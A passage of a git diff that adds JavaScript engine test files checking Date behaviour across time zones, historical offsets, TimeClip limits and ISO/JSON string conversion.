+ String: "Sun Jan 03 2010 00:00:00 GMT+1345 (Chatham Daylight Time)",
+ DateString: "Sun Jan 03 2010",
+ TimeString: "00:00:00 GMT+1345 (Chatham Daylight Time)",
+ UTCString: "Sat, 02 Jan 2010 10:15:00 GMT",
+ ISOString: "2010-01-02T10:15:00.000Z",
+ LocaleString: "Sun, 01/03/2010, 12:00:00 AM GMT+13:45",
+ LocaleDateString: "Sun, 01/03/2010",
+ LocaleTimeString: "12:00:00 AM GMT+13:45",
+ });
+}
+});
+
+
+// File: Date/Pacific_Kiritimati.js
+// Pacific/Kiritimati time zone offset is +14:00.
+
+inTimeZone("Pacific/Kiritimati", () => {
+{
+ // +14:00 (standard time)
+ let local = new DateTime.Local(2010, Month.August, 1, DayOfWeek.Sunday, 0, 0, 0);
+ let utc = new DateTime.UTC(2010, Month.July, 31, DayOfWeek.Saturday, 10, 0, 0);
+
+ assertDate(local, utc, TimeZone(+14), {
+ String: "Sun Aug 01 2010 00:00:00 GMT+1400 (Line Islands Time)",
+ DateString: "Sun Aug 01 2010",
+ TimeString: "00:00:00 GMT+1400 (Line Islands Time)",
+ UTCString: "Sat, 31 Jul 2010 10:00:00 GMT",
+ ISOString: "2010-07-31T10:00:00.000Z",
+ LocaleString: "Sun, 08/01/2010, 12:00:00 AM GMT+14",
+ LocaleDateString: "Sun, 08/01/2010",
+ LocaleTimeString: "12:00:00 AM GMT+14",
+ });
+}
+
+// Pacific/Kiritimati time zone offset was -10:40 until Oct. 1979.
+
+{
+ // -10:40 (standard time)
+ let local = new DateTime.Local(1975, Month.January, 1, DayOfWeek.Wednesday, 0, 0, 0);
+ let utc = new DateTime.UTC(1975, Month.January, 1, DayOfWeek.Wednesday, 10, 40, 0);
+
+ assertDate(local, utc, TimeZone(-10,40), {
+ String: "Wed Jan 01 1975 00:00:00 GMT-1040 (Line Islands Time)",
+ DateString: "Wed Jan 01 1975",
+ TimeString: "00:00:00 GMT-1040 (Line Islands Time)",
+ UTCString: "Wed, 01 Jan 1975 10:40:00 GMT",
+ ISOString: "1975-01-01T10:40:00.000Z",
+ LocaleString: "Wed, 01/01/1975, 12:00:00 AM GMT-10:40",
+ LocaleDateString: "Wed, 01/01/1975",
+ LocaleTimeString: "12:00:00 AM GMT-10:40",
+ });
+}
+});
+
+
+// File: Date/Pacifi_Niue.js
+// Pacific/Niue time zone offset was -11:20 from 1952 through 1964.
+
+inTimeZone("Pacific/Niue", () => {
+{
+ // -11:20 (standard time)
+ let local = new DateTime.Local(1956, Month.January, 1, DayOfWeek.Sunday, 0, 0, 0);
+ let utc = new DateTime.UTC(1956, Month.January, 1, DayOfWeek.Sunday, 11, 20, 0);
+
+ assertDate(local, utc, TimeZone(-11,20), {
+ String: "Sun Jan 01 1956 00:00:00 GMT-1120 (Niue Time)",
+ DateString: "Sun Jan 01 1956",
+ TimeString: "00:00:00 GMT-1120 (Niue Time)",
+ UTCString: "Sun, 01 Jan 1956 11:20:00 GMT",
+ ISOString: "1956-01-01T11:20:00.000Z",
+ LocaleString: "Sun, 01/01/1956, 12:00:00 AM GMT-11:20",
+ LocaleDateString: "Sun, 01/01/1956",
+ LocaleTimeString: "12:00:00 AM GMT-11:20",
+ });
+}
+});
+
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Date/time-zones-pedantic.js b/js/src/tests/non262/Date/time-zones-pedantic.js
new file mode 100644
index 0000000000..c3445ed5fd
--- /dev/null
+++ b/js/src/tests/non262/Date/time-zones-pedantic.js
@@ -0,0 +1,15 @@
+// |reftest| skip-if(xulRuntime.OS=="WINNT"||xulRuntime.OS=="Darwin") -- Skip on OS X in addition to Windows
+
+// Contains the tests from "time-zones.js" which fail on OS X.
+
+// bug 637244
+inTimeZone("Asia/Novosibirsk", () => {
+ let dt1 = new Date(1984, Month.April, 1, -1);
+ assertDateTime(dt1, "Sat Mar 31 1984 23:00:00 GMT+0700 (NOVT)", "+07", "Novosibirsk Standard Time");
+
+ let dt2 = new Date(1984, Month.April, 1);
+ assertDateTime(dt2, "Sun Apr 01 1984 01:00:00 GMT+0800 (NOVST)", "+08", "Novosibirsk Summer Time");
+});
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Date/time-zones-posix.js b/js/src/tests/non262/Date/time-zones-posix.js
new file mode 100644
index 0000000000..c2d7cc20c9
--- /dev/null
+++ b/js/src/tests/non262/Date/time-zones-posix.js
@@ -0,0 +1,160 @@
+// |reftest| skip-if(xulRuntime.OS=="WINNT"&&!xulRuntime.shell) -- Windows browser in automation doesn't pick up new time zones correctly
+
+// Repeats the test from "time-zones.js", but uses POSIX instead of IANA names
+// for the time zones. This allows to run these tests on Windows, too.
+
+// From bug 1330149:
+//
+// Windows only supports a very limited set of IANA time zone names for the TZ
+// environment variable.
+//
+// TZ format supported by Windows: "TZ=tzn[+|-]hh[:mm[:ss]][dzn]".
+//
+// Complete list of all IANA time zone ids matching that format.
+//
+// From tzdata's "northamerica" file:
+// EST5EDT
+// CST6CDT
+// MST7MDT
+// PST8PDT
+//
+// From tzdata's "backward" file:
+// GMT+0
+// GMT-0
+// GMT0
+//
+// Also supported on Windows even though they don't match the format listed
+// above.
+//
+// From tzdata's "backward" file:
+// UCT
+// UTC
+//
+// From tzdata's "etcetera" file:
+// GMT
+
+
+// Perform the following replacements:
+// America/New_York -> EST5EDT
+// America/Chicago -> CST6CDT
+// America/Denver -> MST7MDT
+// America/Los_Angeles -> PST8PDT
+//
+// And remove any tests not matching one of the four time zones from above.
+
+// bug 294908
+inTimeZone("EST5EDT", () => {
+ let dt = new Date(2003, Month.April, 6, 2, 30, 00);
+ assertDateTime(dt, "Sun Apr 06 2003 03:30:00 GMT-0400 (EDT)", "Eastern Daylight Time");
+});
+
+// bug 610183
+inTimeZone("PST8PDT", () => {
+ let dt = new Date(2014, Month.November, 2, 1, 47, 42);
+ assertDateTime(dt, "Sun Nov 02 2014 01:47:42 GMT-0700 (PDT)", "Pacific Daylight Time");
+});
+
+// bug 629465
+inTimeZone("MST7MDT", () => {
+ let dt1 = new Date(Date.UTC(2015, Month.November, 1, 0, 0, 0) + 6 * msPerHour);
+ assertDateTime(dt1, "Sun Nov 01 2015 00:00:00 GMT-0600 (MDT)", "Mountain Daylight Time");
+
+ let dt2 = new Date(Date.UTC(2015, Month.November, 1, 1, 0, 0) + 6 * msPerHour);
+ assertDateTime(dt2, "Sun Nov 01 2015 01:00:00 GMT-0600 (MDT)", "Mountain Daylight Time");
+
+ let dt3 = new Date(Date.UTC(2015, Month.November, 1, 1, 0, 0) + 7 * msPerHour);
+ assertDateTime(dt3, "Sun Nov 01 2015 01:00:00 GMT-0700 (MST)", "Mountain Standard Time");
+});
+
+// bug 742427
+inTimeZone("EST5EDT", () => {
+ let dt = new Date(2009, Month.March, 8, 1, 0, 0);
+ assertDateTime(dt, "Sun Mar 08 2009 01:00:00 GMT-0500 (EST)", "Eastern Standard Time");
+ dt.setHours(dt.getHours() + 1);
+ assertDateTime(dt, "Sun Mar 08 2009 03:00:00 GMT-0400 (EDT)", "Eastern Daylight Time");
+});
+inTimeZone("MST7MDT", () => {
+ let dt = new Date(2009, Month.March, 8, 1, 0, 0);
+ assertDateTime(dt, "Sun Mar 08 2009 01:00:00 GMT-0700 (MST)", "Mountain Standard Time");
+ dt.setHours(dt.getHours() + 1);
+ assertDateTime(dt, "Sun Mar 08 2009 03:00:00 GMT-0600 (MDT)", "Mountain Daylight Time");
+});
+inTimeZone("EST5EDT", () => {
+ let dt1 = new Date(Date.UTC(2008, Month.March, 9, 0, 0, 0) + 5 * msPerHour);
+ assertDateTime(dt1, "Sun Mar 09 2008 00:00:00 GMT-0500 (EST)", "Eastern Standard Time");
+
+ let dt2 = new Date(Date.UTC(2008, Month.March, 9, 1, 0, 0) + 5 * msPerHour);
+ assertDateTime(dt2, "Sun Mar 09 2008 01:00:00 GMT-0500 (EST)", "Eastern Standard Time");
+
+ let dt3 = new Date(Date.UTC(2008, Month.March, 9, 4, 0, 0) + 4 * msPerHour);
+ assertDateTime(dt3, "Sun Mar 09 2008 04:00:00 GMT-0400 (EDT)", "Eastern Daylight Time");
+});
+
+// bug 802627
+inTimeZone("EST5EDT", () => {
+ let dt = new Date(0);
+ assertDateTime(dt, "Wed Dec 31 1969 19:00:00 GMT-0500 (EST)", "Eastern Standard Time");
+});
+
+// bug 879261
+inTimeZone("EST5EDT", () => {
+ let dt1 = new Date(1362891600000);
+ assertDateTime(dt1, "Sun Mar 10 2013 00:00:00 GMT-0500 (EST)", "Eastern Standard Time");
+
+ let dt2 = new Date(dt1.setHours(dt1.getHours() + 24));
+ assertDateTime(dt2, "Mon Mar 11 2013 00:00:00 GMT-0400 (EDT)", "Eastern Daylight Time");
+});
+inTimeZone("PST8PDT", () => {
+ let dt1 = new Date(2014, Month.January, 1);
+ assertDateTime(dt1, "Wed Jan 01 2014 00:00:00 GMT-0800 (PST)", "Pacific Standard Time");
+
+ let dt2 = new Date(2014, Month.August, 1);
+ assertDateTime(dt2, "Fri Aug 01 2014 00:00:00 GMT-0700 (PDT)", "Pacific Daylight Time");
+});
+inTimeZone("EST5EDT", () => {
+ let dt1 = new Date(2016, Month.October, 14, 3, 5, 9);
+ assertDateTime(dt1, "Fri Oct 14 2016 03:05:09 GMT-0400 (EDT)", "Eastern Daylight Time");
+
+ let dt2 = new Date(2016, Month.January, 9, 23, 26, 40);
+ assertDateTime(dt2, "Sat Jan 09 2016 23:26:40 GMT-0500 (EST)", "Eastern Standard Time");
+});
+
+// bug 1084547
+inTimeZone("EST5EDT", () => {
+ let dt = new Date(Date.parse("2014-11-02T02:00:00-04:00"));
+ assertDateTime(dt, "Sun Nov 02 2014 01:00:00 GMT-0500 (EST)", "Eastern Standard Time");
+
+ dt.setMilliseconds(0);
+ assertDateTime(dt, "Sun Nov 02 2014 01:00:00 GMT-0400 (EDT)", "Eastern Daylight Time");
+});
+
+// bug 1303306
+inTimeZone("EST5EDT", () => {
+ let dt = new Date(2016, Month.September, 15, 16, 14, 48);
+ assertDateTime(dt, "Thu Sep 15 2016 16:14:48 GMT-0400 (EDT)", "Eastern Daylight Time");
+});
+
+// bug 1317364
+inTimeZone("PST8PDT", () => {
+ let dt = new Date(2016, Month.March, 13, 2, 30, 0, 0);
+ assertDateTime(dt, "Sun Mar 13 2016 03:30:00 GMT-0700 (PDT)", "Pacific Daylight Time");
+
+ let dt2 = new Date(2016, Month.January, 5, 0, 30, 30, 500);
+ assertDateTime(dt2, "Tue Jan 05 2016 00:30:30 GMT-0800 (PST)", "Pacific Standard Time");
+
+ let dt3 = new Date(dt2.getTime());
+ dt3.setMonth(dt2.getMonth() + 2);
+ dt3.setDate(dt2.getDate() + 7 + 1);
+ dt3.setHours(dt2.getHours() + 2);
+
+ assertEq(dt3.getHours(), 3);
+});
+
+// bug 1355272
+inTimeZone("PST8PDT", () => {
+ let dt = new Date(2017, Month.April, 10, 17, 25, 07);
+ assertDateTime(dt, "Mon Apr 10 2017 17:25:07 GMT-0700 (PDT)", "Pacific Daylight Time");
+});
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Date/time-zones.js b/js/src/tests/non262/Date/time-zones.js
new file mode 100644
index 0000000000..da2b328be7
--- /dev/null
+++ b/js/src/tests/non262/Date/time-zones.js
@@ -0,0 +1,261 @@
+// |reftest| skip-if(xulRuntime.OS=="WINNT") -- Windows doesn't accept IANA names for the TZ env variable
+
+// bug 158328
+inTimeZone("Europe/London", () => {
+ let dt1 = new Date(2002, Month.July, 19, 16, 10, 55);
+ assertDateTime(dt1, "Fri Jul 19 2002 16:10:55 GMT+0100 (BST)", "British Summer Time");
+
+ let dt2 = new Date(2009, Month.December, 24, 13, 44, 52);
+ assertDateTime(dt2, "Thu Dec 24 2009 13:44:52 GMT+0000 (GMT)", "Greenwich Mean Time");
+});
+
+// bug 294908
+inTimeZone("America/New_York", () => {
+ let dt = new Date(2003, Month.April, 6, 2, 30, 00);
+ assertDateTime(dt, "Sun Apr 06 2003 03:30:00 GMT-0400 (EDT)", "Eastern Daylight Time");
+});
+
+// bug 610183
+inTimeZone("America/Los_Angeles", () => {
+ let dt = new Date(2014, Month.November, 2, 1, 47, 42);
+ assertDateTime(dt, "Sun Nov 02 2014 01:47:42 GMT-0700 (PDT)", "Pacific Daylight Time");
+});
+
+// bug 629465
+inTimeZone("America/Denver", () => {
+ let dt1 = new Date(Date.UTC(2015, Month.November, 1, 0, 0, 0) + 6 * msPerHour);
+ assertDateTime(dt1, "Sun Nov 01 2015 00:00:00 GMT-0600 (MDT)", "Mountain Daylight Time");
+
+ let dt2 = new Date(Date.UTC(2015, Month.November, 1, 1, 0, 0) + 6 * msPerHour);
+ assertDateTime(dt2, "Sun Nov 01 2015 01:00:00 GMT-0600 (MDT)", "Mountain Daylight Time");
+
+ let dt3 = new Date(Date.UTC(2015, Month.November, 1, 1, 0, 0) + 7 * msPerHour);
+ assertDateTime(dt3, "Sun Nov 01 2015 01:00:00 GMT-0700 (MST)", "Mountain Standard Time");
+});
+
+// bug 637244
+inTimeZone("Europe/Helsinki", () => {
+ let dt1 = new Date(2016, Month.March, 27, 2, 59);
+ assertDateTime(dt1, "Sun Mar 27 2016 02:59:00 GMT+0200 (EET)", "Eastern European Standard Time");
+
+ let dt2 = new Date(2016, Month.March, 27, 3, 0);
+ assertDateTime(dt2, "Sun Mar 27 2016 04:00:00 GMT+0300 (EEST)", "Eastern European Summer Time");
+});
+
+// bug 718175
+inTimeZone("Europe/London", () => {
+ let dt = new Date(0);
+ assertEq(dt.getHours(), 1);
+});
+
+// bug 719274
+inTimeZone("Pacific/Auckland", () => {
+ let dt = new Date(2012, Month.January, 19, 12, 54, 27);
+ assertDateTime(dt, "Thu Jan 19 2012 12:54:27 GMT+1300 (NZDT)", "New Zealand Daylight Time");
+});
+
+// bug 742427
+inTimeZone("Europe/Paris", () => {
+ let dt1 = new Date(2009, Month.March, 29, 1, 0, 0);
+ assertDateTime(dt1, "Sun Mar 29 2009 01:00:00 GMT+0100 (CET)", "Central European Standard Time");
+ dt1.setHours(dt1.getHours() + 1);
+ assertDateTime(dt1, "Sun Mar 29 2009 03:00:00 GMT+0200 (CEST)", "Central European Summer Time");
+
+ let dt2 = new Date(2010, Month.March, 29, 1, 0, 0);
+ assertDateTime(dt2, "Mon Mar 29 2010 01:00:00 GMT+0200 (CEST)", "Central European Summer Time");
+ dt2.setHours(dt2.getHours() + 1);
+ assertDateTime(dt2, "Mon Mar 29 2010 02:00:00 GMT+0200 (CEST)", "Central European Summer Time");
+});
+inTimeZone("America/New_York", () => {
+ let dt = new Date(2009, Month.March, 8, 1, 0, 0);
+ assertDateTime(dt, "Sun Mar 08 2009 01:00:00 GMT-0500 (EST)", "Eastern Standard Time");
+ dt.setHours(dt.getHours() + 1);
+ assertDateTime(dt, "Sun Mar 08 2009 03:00:00 GMT-0400 (EDT)", "Eastern Daylight Time");
+});
+inTimeZone("America/Denver", () => {
+ let dt = new Date(2009, Month.March, 8, 1, 0, 0);
+ assertDateTime(dt, "Sun Mar 08 2009 01:00:00 GMT-0700 (MST)", "Mountain Standard Time");
+ dt.setHours(dt.getHours() + 1);
+ assertDateTime(dt, "Sun Mar 08 2009 03:00:00 GMT-0600 (MDT)", "Mountain Daylight Time");
+});
+inTimeZone("America/New_York", () => {
+ let dt1 = new Date(Date.UTC(2008, Month.March, 9, 0, 0, 0) + 5 * msPerHour);
+ assertDateTime(dt1, "Sun Mar 09 2008 00:00:00 GMT-0500 (EST)", "Eastern Standard Time");
+
+ let dt2 = new Date(Date.UTC(2008, Month.March, 9, 1, 0, 0) + 5 * msPerHour);
+ assertDateTime(dt2, "Sun Mar 09 2008 01:00:00 GMT-0500 (EST)", "Eastern Standard Time");
+
+ let dt3 = new Date(Date.UTC(2008, Month.March, 9, 4, 0, 0) + 4 * msPerHour);
+ assertDateTime(dt3, "Sun Mar 09 2008 04:00:00 GMT-0400 (EDT)", "Eastern Daylight Time");
+});
+inTimeZone("Europe/Paris", () => {
+ let dt1 = new Date(Date.UTC(2008, Month.March, 30, 0, 0, 0) - 1 * msPerHour);
+ assertDateTime(dt1, "Sun Mar 30 2008 00:00:00 GMT+0100 (CET)", "Central European Standard Time");
+
+ let dt2 = new Date(Date.UTC(2008, Month.March, 30, 1, 0, 0) - 1 * msPerHour);
+ assertDateTime(dt2, "Sun Mar 30 2008 01:00:00 GMT+0100 (CET)", "Central European Standard Time");
+
+ let dt3 = new Date(Date.UTC(2008, Month.March, 30, 3, 0, 0) - 2 * msPerHour);
+ assertDateTime(dt3, "Sun Mar 30 2008 03:00:00 GMT+0200 (CEST)", "Central European Summer Time");
+
+ let dt4 = new Date(Date.UTC(2008, Month.March, 30, 4, 0, 0) - 2 * msPerHour);
+ assertDateTime(dt4, "Sun Mar 30 2008 04:00:00 GMT+0200 (CEST)", "Central European Summer Time");
+});
+
+// bug 802627
+inTimeZone("America/New_York", () => {
+ let dt = new Date(0);
+ assertDateTime(dt, "Wed Dec 31 1969 19:00:00 GMT-0500 (EST)", "Eastern Standard Time");
+});
+
+// bug 819820
+inTimeZone("Europe/London", () => {
+ let dt1 = new Date(Date.UTC(2012, Month.October, 28, 0, 59, 59));
+ assertDateTime(dt1, "Sun Oct 28 2012 01:59:59 GMT+0100 (BST)", "British Summer Time");
+
+ let dt2 = new Date(Date.UTC(2012, Month.October, 28, 1, 0, 0));
+ assertDateTime(dt2, "Sun Oct 28 2012 01:00:00 GMT+0000 (GMT)", "Greenwich Mean Time");
+
+ let dt3 = new Date(Date.UTC(2012, Month.October, 28, 1, 59, 59));
+ assertDateTime(dt3, "Sun Oct 28 2012 01:59:59 GMT+0000 (GMT)", "Greenwich Mean Time");
+
+ let dt4 = new Date(Date.UTC(2012, Month.October, 28, 2, 0, 0));
+ assertDateTime(dt4, "Sun Oct 28 2012 02:00:00 GMT+0000 (GMT)", "Greenwich Mean Time");
+});
+
+// bug 879261
+inTimeZone("America/New_York", () => {
+ let dt1 = new Date(1362891600000);
+ assertDateTime(dt1, "Sun Mar 10 2013 00:00:00 GMT-0500 (EST)", "Eastern Standard Time");
+
+ let dt2 = new Date(dt1.setHours(dt1.getHours() + 24));
+ assertDateTime(dt2, "Mon Mar 11 2013 00:00:00 GMT-0400 (EDT)", "Eastern Daylight Time");
+});
+inTimeZone("America/Los_Angeles", () => {
+ let dt1 = new Date(2014, Month.January, 1);
+ assertDateTime(dt1, "Wed Jan 01 2014 00:00:00 GMT-0800 (PST)", "Pacific Standard Time");
+
+ let dt2 = new Date(2014, Month.August, 1);
+ assertDateTime(dt2, "Fri Aug 01 2014 00:00:00 GMT-0700 (PDT)", "Pacific Daylight Time");
+});
+inTimeZone("America/New_York", () => {
+ let dt1 = new Date(2016, Month.October, 14, 3, 5, 9);
+ assertDateTime(dt1, "Fri Oct 14 2016 03:05:09 GMT-0400 (EDT)", "Eastern Daylight Time");
+
+ let dt2 = new Date(2016, Month.January, 9, 23, 26, 40);
+ assertDateTime(dt2, "Sat Jan 09 2016 23:26:40 GMT-0500 (EST)", "Eastern Standard Time");
+});
+
+// bug 994086
+inTimeZone("Europe/Vienna", () => {
+ let dt1 = new Date(2014, Month.March, 30, 2, 0);
+ assertDateTime(dt1, "Sun Mar 30 2014 03:00:00 GMT+0200 (CEST)", "Central European Summer Time");
+
+ let dt2 = new Date(2014, Month.March, 30, 3, 0);
+ assertDateTime(dt2, "Sun Mar 30 2014 03:00:00 GMT+0200 (CEST)", "Central European Summer Time");
+
+ let dt3 = new Date(2014, Month.March, 30, 4, 0);
+ assertDateTime(dt3, "Sun Mar 30 2014 04:00:00 GMT+0200 (CEST)", "Central European Summer Time");
+});
+
+// bug 1084434
+inTimeZone("America/Sao_Paulo", () => {
+ let dt = new Date(2014, Month.October, 19);
+ assertEq(dt.getDate(), 19);
+ assertEq(dt.getHours(), 1);
+ assertDateTime(dt, "Sun Oct 19 2014 01:00:00 GMT-0200 (BRST)", "-02", "Brasilia Summer Time");
+});
+
+// bug 1084547
+inTimeZone("America/New_York", () => {
+ let dt = new Date(Date.parse("2014-11-02T02:00:00-04:00"));
+ assertDateTime(dt, "Sun Nov 02 2014 01:00:00 GMT-0500 (EST)", "Eastern Standard Time");
+
+ dt.setMilliseconds(0);
+ assertDateTime(dt, "Sun Nov 02 2014 01:00:00 GMT-0400 (EDT)", "Eastern Daylight Time");
+});
+
+// bug 1118690
+inTimeZone("Europe/London", () => {
+ let dt = new Date(1965, Month.January, 1);
+ assertEq(dt.getFullYear(), 1965);
+});
+
+// bug 1155096
+inTimeZone("Europe/Moscow", () => {
+ let dt1 = new Date(1981, Month.March, 32);
+ assertEq(dt1.getDate(), 1);
+
+ let dt2 = new Date(1982, Month.March, 32);
+ assertEq(dt2.getDate(), 1);
+
+ let dt3 = new Date(1983, Month.March, 32);
+ assertEq(dt3.getDate(), 1);
+
+ let dt4 = new Date(1984, Month.March, 32);
+ assertEq(dt4.getDate(), 1);
+});
+
+// bug 1284507
+inTimeZone("Atlantic/Azores", () => {
+ let dt1 = new Date(2017, Month.March, 25, 0, 0, 0);
+ assertDateTime(dt1, "Sat Mar 25 2017 00:00:00 GMT-0100 (AZOT)", "-01", "Azores Standard Time");
+
+ let dt2 = new Date(2016, Month.October, 30, 0, 0, 0);
+ assertDateTime(dt2, "Sun Oct 30 2016 00:00:00 GMT+0000 (AZOST)", "+00", "Azores Summer Time");
+
+ let dt3 = new Date(2016, Month.October, 30, 23, 0, 0);
+ assertDateTime(dt3, "Sun Oct 30 2016 23:00:00 GMT-0100 (AZOT)", "-01", "Azores Standard Time");
+});
+
+// bug 1303306
+inTimeZone("America/New_York", () => {
+ let dt = new Date(2016, Month.September, 15, 16, 14, 48);
+ assertDateTime(dt, "Thu Sep 15 2016 16:14:48 GMT-0400 (EDT)", "Eastern Daylight Time");
+});
+
+// bug 1317364
+inTimeZone("America/Los_Angeles", () => {
+ let dt = new Date(2016, Month.March, 13, 2, 30, 0, 0);
+ assertDateTime(dt, "Sun Mar 13 2016 03:30:00 GMT-0700 (PDT)", "Pacific Daylight Time");
+
+ let dt2 = new Date(2016, Month.January, 5, 0, 30, 30, 500);
+ assertDateTime(dt2, "Tue Jan 05 2016 00:30:30 GMT-0800 (PST)", "Pacific Standard Time");
+
+ let dt3 = new Date(dt2.getTime());
+ dt3.setMonth(dt2.getMonth() + 2);
+ dt3.setDate(dt2.getDate() + 7 + 1);
+ dt3.setHours(dt2.getHours() + 2);
+
+ assertEq(dt3.getHours(), 3);
+});
+
+// bug 1335818
+inTimeZone("Asia/Jerusalem", () => {
+ let dt1 = new Date(2013, Month.March, 22, 1, 0, 0, 0);
+ assertDateTime(dt1, "Fri Mar 22 2013 01:00:00 GMT+0200 (IST)", "Israel Standard Time");
+
+ let dt2 = new Date(2013, Month.March, 22, 2, 0, 0, 0);
+ assertDateTime(dt2, "Fri Mar 22 2013 02:00:00 GMT+0200 (IST)", "Israel Standard Time");
+
+ let dt3 = new Date(2013, Month.March, 22, 3, 0, 0, 0);
+ assertDateTime(dt3, "Fri Mar 22 2013 03:00:00 GMT+0200 (IST)", "Israel Standard Time");
+
+ let dt4 = new Date(2013, Month.March, 29, 1, 0, 0, 0);
+ assertDateTime(dt4, "Fri Mar 29 2013 01:00:00 GMT+0200 (IST)", "Israel Standard Time");
+
+ let dt5 = new Date(2013, Month.March, 29, 2, 0, 0, 0);
+ assertDateTime(dt5, "Fri Mar 29 2013 03:00:00 GMT+0300 (IDT)", "Israel Daylight Time");
+
+ let dt6 = new Date(2013, Month.March, 29, 3, 0, 0, 0);
+ assertDateTime(dt6, "Fri Mar 29 2013 03:00:00 GMT+0300 (IDT)", "Israel Daylight Time");
+});
+
+// bug 1355272
+inTimeZone("America/Los_Angeles", () => {
+ let dt = new Date(2017, Month.April, 10, 17, 25, 07);
+ assertDateTime(dt, "Mon Apr 10 2017 17:25:07 GMT-0700 (PDT)", "Pacific Daylight Time");
+});
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Date/timeclip.js b/js/src/tests/non262/Date/timeclip.js
new file mode 100644
index 0000000000..50bde39e77
--- /dev/null
+++ b/js/src/tests/non262/Date/timeclip.js
@@ -0,0 +1,42 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommonn.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 747197;
+var summary = "TimeClip behavior for very large numbers";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function addToLimit(n) { return 8.64e15 + n; }
+
+assertEq(8.64e15 === addToLimit(0.0), true);
+assertEq(8.64e15 === addToLimit(0.5), true);
+assertEq(8.64e15 === addToLimit(0.5000000000000001), false);
+
+var times =
+ [Number.MAX_VALUE,
+ -Number.MAX_VALUE,
+ Infinity,
+ -Infinity,
+ addToLimit(0.5000000000000001),
+ -addToLimit(0.5000000000000001)];
+
+for (var i = 0, len = times.length; i < len; i++)
+{
+ var d = new Date();
+ assertEq(d.setTime(times[i]), NaN, "times[" + i + "]");
+ assertEq(d.getTime(), NaN);
+ assertEq(d.valueOf(), NaN);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Date/toISOString-01.js b/js/src/tests/non262/Date/toISOString-01.js
new file mode 100644
index 0000000000..cc300a6604
--- /dev/null
+++ b/js/src/tests/non262/Date/toISOString-01.js
@@ -0,0 +1,53 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/publicdomain/zero/1.0/ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 730831;
+var summary = 'Date.prototype.toISOString returns an invalid ISO-8601 string';
+
+print(BUGNUMBER + ": " + summary);
+
+function iso(t) {
+ return new Date(t).toISOString();
+}
+
+function utc(year, month, day, hour, minute, second, millis) {
+ var date = new Date(0);
+ date.setUTCFullYear(year, month - 1, day);
+ date.setUTCHours(hour, minute, second, millis);
+ return date.getTime();
+}
+
+
+// Values around maximum date for simple iso format.
+var maxDateSimple = utc(9999, 12, 31, 23, 59, 59, 999);
+assertEq(iso(maxDateSimple - 1), "9999-12-31T23:59:59.998Z");
+assertEq(iso(maxDateSimple ), "9999-12-31T23:59:59.999Z");
+assertEq(iso(maxDateSimple + 1), "+010000-01-01T00:00:00.000Z");
+
+
+// Values around minimum date for simple iso format.
+var minDateSimple = utc(0, 1, 1, 0, 0, 0, 0);
+assertEq(iso(minDateSimple - 1), "-000001-12-31T23:59:59.999Z");
+assertEq(iso(minDateSimple ), "0000-01-01T00:00:00.000Z");
+assertEq(iso(minDateSimple + 1), "0000-01-01T00:00:00.001Z");
+
+
+// Values around maximum date for extended iso format.
+var maxDateExtended = utc(+275760, 9, 13, 0, 0, 0, 0);
+assertEq(maxDateExtended, +8.64e15);
+assertEq(iso(maxDateExtended - 1), "+275760-09-12T23:59:59.999Z");
+assertEq(iso(maxDateExtended ), "+275760-09-13T00:00:00.000Z");
+assertThrowsInstanceOf(() => iso(maxDateExtended + 1), RangeError);
+
+
+// Values around minimum date for extended iso format.
+var minDateExtended = utc(-271821, 4, 20, 0, 0, 0, 0);
+assertEq(minDateExtended, -8.64e15);
+assertThrowsInstanceOf(() => iso(minDateExtended - 1), RangeError);
+assertEq(iso(minDateExtended ), "-271821-04-20T00:00:00.000Z");
+assertEq(iso(minDateExtended + 1), "-271821-04-20T00:00:00.001Z");
+
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Date/toISOString.js b/js/src/tests/non262/Date/toISOString.js
new file mode 100644
index 0000000000..9eb4129345
--- /dev/null
+++ b/js/src/tests/non262/Date/toISOString.js
@@ -0,0 +1,24 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function throwsRangeError(t) {
+ try {
+ var date = new Date();
+ date.setTime(t);
+ var r = date.toISOString();
+ throw new Error("toISOString didn't throw, instead returned " + r);
+ } catch (err) {
+ assertEq(err instanceof RangeError, true, 'wrong error: ' + err);
+ return;
+ }
+ assertEq(0, 1, 'not good, nyan, nyan');
+}
+
+throwsRangeError(Infinity);
+throwsRangeError(-Infinity);
+throwsRangeError(NaN);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Date/toJSON-01.js b/js/src/tests/non262/Date/toJSON-01.js
new file mode 100644
index 0000000000..4a756aab54
--- /dev/null
+++ b/js/src/tests/non262/Date/toJSON-01.js
@@ -0,0 +1,238 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'toJSON-01.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 584811;
+var summary = "Date.prototype.toJSON isn't to spec";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var called;
+
+var dateToJSON = Date.prototype.toJSON;
+assertEq(Date.prototype.hasOwnProperty("toJSON"), true);
+assertEq(typeof dateToJSON, "function");
+
+// brief test to exercise this outside of isolation, just for sanity
+var invalidDate = new Date();
+invalidDate.setTime(NaN);
+assertEq(JSON.stringify({ p: invalidDate }), '{"p":null}');
+
+
+/* 15.9.5.44 Date.prototype.toJSON ( key ) */
+assertEq(dateToJSON.length, 1);
+
+/*
+ * 1. Let O be the result of calling ToObject, giving it the this value as its
+ * argument.
+ */
+try
+{
+ dateToJSON.call(null);
+ throw new Error("should have thrown a TypeError");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
